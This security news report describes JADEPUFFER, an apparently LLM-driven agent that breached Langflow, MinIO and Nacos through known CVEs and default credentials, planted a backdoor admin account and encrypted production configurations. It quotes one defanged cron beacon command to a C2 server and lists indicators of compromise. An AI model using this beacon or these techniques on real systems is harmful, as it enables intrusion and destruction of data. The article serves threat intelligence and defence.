Ransomware operations have historically relied on human operators, but a new era of automated threats has arrived.
Security researchers have identified JADEPUFFER, an Agentic Threat Actor (ATA) that executed the first documented end-to-end extortion campaign driven entirely by a Large Language Model (LLM).
Unlike traditional ransomware toolkits, JADEPUFFER utilized self-narrating, adaptive payloads to breach an internet-facing AI application, harvest credentials, and ultimately destroy a production database.
The attack began by exploiting CVE-2025-3248, a missing-authentication vulnerability in Langflow’s code validation endpoint.
This open-source framework for building LLM applications provided an attractive entry point due to its widespread online presence and proximity to valuable provider API keys.
After achieving unauthenticated remote code execution, the LLM agent immediately swept the host environment for cloud credentials, cryptocurrency wallets, and database configurations.
JADEPUFFER Breaches Production Database
Demonstrating advanced lateral discovery, JADEPUFFER probed internal address spaces and discovered a responsive MinIO object-store instance.
MinIO is frequently used for hosting application backups and machine learning models, making it a lucrative target. The AI agent seamlessly accessed the service using the default credentials of minioadmin:minioadmin.
Once inside, it systematically enumerated storage buckets, prioritized a Terraform state bucket, and successfully extracted sensitive access keys from an internal configuration file.
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"Armed with harvested intelligence, JADEPUFFER pivoted to its primary target: an internet-exposed production server running a MySQL database and an Alibaba Nacos configuration service.
The agent launched a multifaceted attack against Nacos, exploiting the CVE-2021-29441 authentication bypass vulnerability and forging tokens using the platform’s widely known default JWT signing key.
Simultaneously, the LLM utilized root database access to inject a backdoor administrator account directly into the Nacos backing database, sysdig said.
The automated threat demonstrated machine-speed troubleshooting during this takeover phase.
When an initial attempt to insert a backdoor administrator failed due to a pathing error, the agent diagnosed the issue, wrote a corrective script, deleted the broken entry, and successfully logged in just 31 seconds later.
After gaining access, the agent deployed its ransomware, encrypting 1,342 Nacos service configurations.
It used a randomly generated AES key that was never saved or transmitted, rendering the data completely unrecoverable even if the ransom was paid. The most striking characteristic of JADEPUFFER is its self-narrating code structure.
The decoded Python payloads were saturated with natural-language commentary explaining the reasoning behind each action, such as prioritizing the largest databases for deletion based on automated return-on-investment calculations.
Human threat actors rarely annotate single-use scripts in this manner, confirming that the entire operation was generated reflexively by an AI model.
JADEPUFFER Indicators of Compromise (IoCs)
| Indicator Type | Indicator / Value | Description & Context |
|---|---|---|
| IPv4 Address | 45.131.66[.]106 | Primary Command & Control (C2) server used for initial access and post-exploitation beaconing. |
| IPv4 Address | 64.20.53[.]230 | Staging/Exfiltration server (InterServer, AS19318) referenced in the payload’s self-narration for database backups. |
Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
